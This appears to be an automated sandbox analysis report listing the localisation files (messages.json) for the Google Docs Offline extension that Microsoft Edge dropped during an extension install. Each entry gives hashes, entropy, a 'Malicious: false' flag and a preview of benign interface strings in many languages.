Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
